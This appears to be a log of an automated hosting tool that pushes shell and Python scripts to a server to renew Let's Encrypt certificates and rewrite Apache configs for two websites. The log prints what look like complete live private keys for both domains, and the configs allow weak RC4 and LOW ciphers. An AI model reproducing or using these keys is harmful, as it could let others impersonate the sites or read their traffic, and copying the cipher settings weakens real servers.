ServerName vote.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt
DocumentRoot /var/www/hopeinstoughton_vote/public
<Directory /var/www/hopeinstoughton_vote>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-stoughton.sock|fcgi://localhost"
</FilesMatch>
CustomLog /var/log/apache2/hopeinstoughton/vote_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/vote_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:32:
PUT: /tmp/pkp561648
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-10 06:00:32:
chmod 755 /tmp/pkp561648; /tmp/pkp561648; rm /tmp/pkp561648
2025-11-10 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt 5374
4a:11:58:8b:99:8f:1b:06:ed:fb:90:a3:48:6d:5f:b5
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBi/S3upO9GBjg9arTV8jGNSZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjAwWhcNMjYwMjA4MDUwMTU5WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDZBjTWThDW0ZNCQXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVe
xcxpdQLLGKiXaaGZTgkaEc+2rChTAow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY
/hM9sZCJKOkiGiY/2dGscKVV+FdoAjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpU
Ha1+6ahVss5gabw3shHku0ZsIuMr83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFl
C9Mq02JefBA732QD2yjHAWHC1LpwjpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZ
usUAB5KpnTCtQSPqPo5ccEe4S2wTuMjAA2m/AgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFB6otP/trILMbdywEmnze6jO5+wWMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGabFoF/wAABAMASDBGAiEA2TP4jAC7Euo6I8/sZPn98qqkcRhWyBscZbm/QEl9
AqYCIQCKejH+v5d0aUVeII51CMmAdIjxFie0TccsSGMDTz1JpAB3AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxaBvAAAAQDAEgwRgIhAOMMtlRN
8WijbnI39z+x2F8VGMnYW6qGIe/oF1qk2CXrAiEAygy7FXtUvoBMdI8JUgc+0Y+W
XnCNvZ6fpabp9bjaFVQwDQYJKoZIhvcNAQELBQADggEBAIflHfU90S3ZYaYvZa5Q
yq1iCxut59oQ1NELL4PgW1WXh2gIEWVqldqG5UKUgG8Jbe6SpEbynIhp/AAPpIWa
Gz/WvYUYfLAlf3aOjUJ4m7CiUbNG7OohKw2Ybvmf1MdHlcIj4f5G/1XsJjRvZ57A
g0Dxs+qK6c+vXyhqQzX2DxrHu5bwZubk3Uu6YwT0meYR7bNy6+E1nicT0oSFdJJ2
YGIfep0HtXFI0bI70kq3Sof8zWBatfukfKjRfCL0razvM3daHTZ9A/vAL1WhXLB4
rK5C+LicKobELA1dBtUf/9Tna3JoSVRWzRKbsgQZJYth+HAl/Mchz28SpNOGMxYF
Vag=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDZBjTWThDW0ZNC
QXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVexcxpdQLLGKiXaaGZTgkaEc+2rChT
Aow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY/hM9sZCJKOkiGiY/2dGscKVV+Fdo
AjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpUHa1+6ahVss5gabw3shHku0ZsIuMr
83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFlC9Mq02JefBA732QD2yjHAWHC1Lpw
jpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZusUAB5KpnTCtQSPqPo5ccEe4S2wT
uMjAA2m/AgMBAAECggEAFRgXVqUr2dVw/MWksOoUsGmFzS11RAhuSOOGmRgU9FvD
92qZgSa0oaNv7BGvgVgRDveYxuHoUJcXLEpZGqvRUi3xEnusDj8gGWZ2HPCMd272
TBfHmWdIs3xo0gwZ7Oihwx8G1D32tA55YHCmQCSKFgq/LTQNxplFsU9A9QPMBjo0
ly7gbgf3cE/PGY8JxtUSbW8IH41yUGK/e4Zeb/x6hcRehONddkWqynSduoZRchO/
rZdr9FjCQPv4BXopyHLesrjo9TvIB4Vr2UIqNe1mOjXRh/LdT1Dn8GbAb2XdlsJ+
y/qYL+X7RhK42hPVEgAcXIGjKWLLLIZBCyWnTVvh4QKBgQD4ZHGxZxAuW5WOhbve
ZnTiktouOnPByFcN+ig4a3/NuQ9bnLR+nOXDbt7FjPINRhtNaObbyDVmEmvHJdtA
8iq0BEYx96vDlbk7JwX+okJF3z84Kvd1vIFIVzztLUBnzLQupbZYPX0apnD1gjSy
zlr1bRBZ0JXYEYaUmd74HV7spwKBgQDfq9DqLO+yuowlpzVBkGM8umfxObBVtN+w
7wG7T0C4s903oFG+9f6ZaHRsvSGR7m1bTij5Nrr+WLJ6INRH1Bae5P4wrOdKSneN
zuDK228sn1iHsDkoMd8PJ3ryUXCoT3AfEZAe7Q2NkqfwJqhDw9hXnflpO3pxm56Z
h5E3ehXFKQKBgHC2y6yv0vTmVEBfSTgLkCC8eMsfdSXLLk3GZXfsuAr3XhO5UWJe
+hgr+GT2p2QEmyEOaCv1dt3BoCy3bf3TpjMX+W51L/lJuMsx0xOQN7iTLJHlVXOU
vanBBIGv1hkEGANO6SaziFCOlJWjpxw4bagO/Kt07nokwcgu5rH6SffjAoGAKXab
at3brYFBe7VsfPP8QYS4whIUqz61fQJBiuydLeBB8Q7qOIE3qk6fzoydDYVqhlON
6u0HayEcLOGrGImri9cde/6BfdciJIqmR1S4XkhHzBeR8O6V0CRceVE5linrugay
ddkx+v2l3jH8XVuP3mYtlyFsiGT12LY16Ffcc0kCgYAB7qU3FxzaCnozpRfqhHn5
PwWv8UhrEtlfTHyelCaW0H3ALTwsCxbTM8uoWAHSXaqe10kzkJbipq1OYRVZJYyN
7ORFg3RnAS/Kw2ahML2HnOqcrz65XAblLWtv91/KSIlYUAwegFkqq7c6GjelmDuA
Ii4FY0q/S00vGWztb3wopA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-10 06:00:32: Establishing a connection
2025-11-10 06:00:32: Establishing a connection
2025-11-10 06:00:32:
PUT: /tmp/pkp492146
#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:00:33:
chmod 755 /tmp/pkp492146; /tmp/pkp492146; rm /tmp/pkp492146
2025-11-10 06:00:33:
1
2025-11-10 06:00:33: Establishing a connection
2025-11-10 06:00:33:
PUT: /tmp/pkp584092
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4
cat > ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8
2025-11-10 06:00:33:
chmod 755 /tmp/pkp584092; /tmp/pkp584092; rm /tmp/pkp584092
2025-11-10 06:00:33:
2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:44:
PUT: /tmp/pkp260957
#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm wRhWv7zsH8anfn97dqtz4g61FwkZG-2ThMv6AF_Ixe4
rm ent_FNkPglRSidY_Z-D7d62UYec40akMkLn9XCoMCu8
2025-11-10 06:00:44:
chmod 755 /tmp/pkp260957; /tmp/pkp260957; rm /tmp/pkp260957
2025-11-10 06:00:44:
2025-11-10 06:00:44: Establishing a connection
2025-11-10 06:00:44:
PUT: /tmp/pkp992722
#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt
cat > $temp_file <<'endmsg'
08:91:81:6d:7b:e0:83:21:45:2b:85:c1:da:33:f2:9f
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBtsU39dTPWMAywk1dJEpU5GOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMjEzWhcNMjYwMjA4MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC46MjY
2otAlgq/KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLyS
vv8w42tVnptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lm
DDV41rJYUgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wE
js4QWCCejz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMIn
EuEdD/Vyfkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O
1DIiuTVpjvKcG2d9AgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FJ63E+oHBqF0FlKRdOz1lZZPWRcCMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvMTUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFo5KwAABAMARzBF
AiBp81VzeiAVGUGwut8iiBMw15N5jsB7f8dghiCX+GlDYwIhANwisr5BhWvMgCQg
G+pz9T5VpWIhaXCL0MKMiKdojbRyAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGabFo5WAAABAMARzBFAiEAkm2TXaq7H0N749PA81jLEQhkitYC
oSaFDGoDZ5iBNiMCIBXyPOrpqt3AMVqu0YO8OQbAgXXGKdVVFry8w9ZEmMylMA0G
CSqGSIb3DQEBCwUAA4IBAQA4pA5aD+wenu/rH8dQrUGA9KdB4yBKmI/w7KLs+Nz6
mc2Rk8Fwh3vl3TmETK/cl2AS08GkYLt92FVSlyFdd7XjL9nIneGYqMGh0l3YG2Nc
EDhATGHZiegQtTAChx1ZKwCp+qsObk/0PEsmnbDNPASK9tgoWZYm1puhJDa+/oBk
f+frykuZ0wNONQE86r+trLJRRqeAJ90RD+tyYMi19IIIViFxiW3Cd92tpgwYbxbG
Xo2sJ9kG4YNJyRfhMoU6iGVPHZYbxx7/87yl7OguPeffPWqSv3OPJZCCoL4PCkv2
6XK8QyLf+N01bKhFpzWNyhlz5dPWRpAoL5GLOQQ7jLi9
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC46MjY2otAlgq/
KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLySvv8w42tV
nptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lmDDV41rJY
UgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wEjs4QWCCe
jz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMInEuEdD/Vy
fkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O1DIiuTVp
jvKcG2d9AgMBAAECggEBAKJtkeiz6Tj91EjiyG8BGWYNaUdhA6K41a0ozM2zNOwh
+UsDZ2pH37J1NU9z5Zi7+sSF01xQvNhUHXgjkEYNQaUOzx5Z1SiDpUkAFlHLASL6
NAMYZn9nItA6x0HjrWvGBx5l40rqFJqmdhmRUUQe0iTWzJKJZYZ5L2yumY4TJQ5E
ZayXGAOSmhQkYabQkiAqZRpN8srnBx2PD3hIL9EmuOCjm6INSoe+cM3/MITL2pKK
I4SgZo1LP37xrtxIVUkT9UPEmjSkgqNcDk0qpxej1Wav1rGnOq0tDH/3aNRpSTXs
XI/IOdLRfKYzxkvEN6G7IapRI0UpfQ3fPwvrVZ9n9t0CgYEA5Z6KMacOeEgftaaK
s4Y9nYi6CyLb2lQskxMtz7I6d/p4T1rSaKrmld1/rh3HXJ19KqiXnGfUoNMOVYVX
mo7D4EmnhT9B7eMZCddfP4ddPwnyuq6dE5zeuOWep0DHhspBnpIDo9/DyxYIAkbv
CFhDlcnk08C7auMHkP8KWfqHgqsCgYEAzidBNiyee92bANKy1fdfgyl87au8ydWW
ZHsX5l1vrjmG8ES90ngaUdHPgjKt8ctaO+WpUqSXXJ2s9ml+SoD3IH9dOgS4z7k0
COROu6DtaXuGD7OV17DXuyNesLOlm6X0T5UYylOB2kHtFl2OX4TDAgmVjN7b7mfz
JiN0rtpo/ncCgYEArBF1L6Yncr1hfcdSkxtamu21tNindeG0EXbC0qyVogkBFT5T
BHplFxMINhs8pUujW09BZcRtEyN1z2J/9mNbp3yqW3C+4BxZTAWn67xthOrYiUqG
jQb15Aq2LFGf84MnT0POFIR/fXWCBOrQ/yjdZKcJoiEAkSWWKvLj9++EkscCgYBQ
35l3lT1/PkqGoiHCSs9Pd0EpRAxF6eKb/KY9mz4qzSqgq3cEUFWS74pGe3c9uhbm
FIy+fQ9cKAcoi+4dcEaCmzSJhDy0UOWW72nrtZAtp2XKVxtbiGa5ZYDKNU+spggY
CFe3V9dDNkW6Vm16D20pKXVf1DXXazQ6LAKkbc5utQKBgQCQxYOiyulHJpXzqnAC
RXE9dBlBSV8knJYqMqplRTsCQ14TkSZH+1azYdDFxbnIEwwFEsNP5Hym8zvGdj5l
R7yg6lJLFl+VUZvKpNMgzKtBPq7y1BB6G+G+yGAbj0lP+8SH0dw83FQNKtpC/Ch+
zS70dgcTlBWH/SOHA0/3mhGdNA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:00:44:
chmod 755 /tmp/pkp992722; /tmp/pkp992722; rm /tmp/pkp992722
2025-11-10 06:00:44:
dir=/etc/ssl/certs
2025-11-10 06:00:44:
PUT: /tmp/pkp917470
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:00:44:
chmod 755 /tmp/pkp917470; /tmp/pkp917470; rm /tmp/pkp917470
2025-11-10 06:00:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:00:44:
PUT: /tmp/pkp764740
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_error.log
SetEnv pkp_uid 59
SetEnv pkp_owner rbc
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName r-b-c.org
ServerAlias www.r-b-c.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
DocumentRoot /var/www/r-b-c_www
<Directory /var/www/r-b-c_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/r-b-c/www_secure_access.log combined
ErrorLog /var/log/apache2/r-b-c/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/r-b-c_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/r-b-c_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/r-b-c_www_org.conf= 1'
fi
2025-11-10 06:00:44:
chmod 755 /tmp/pkp764740; /tmp/pkp764740; rm /tmp/pkp764740
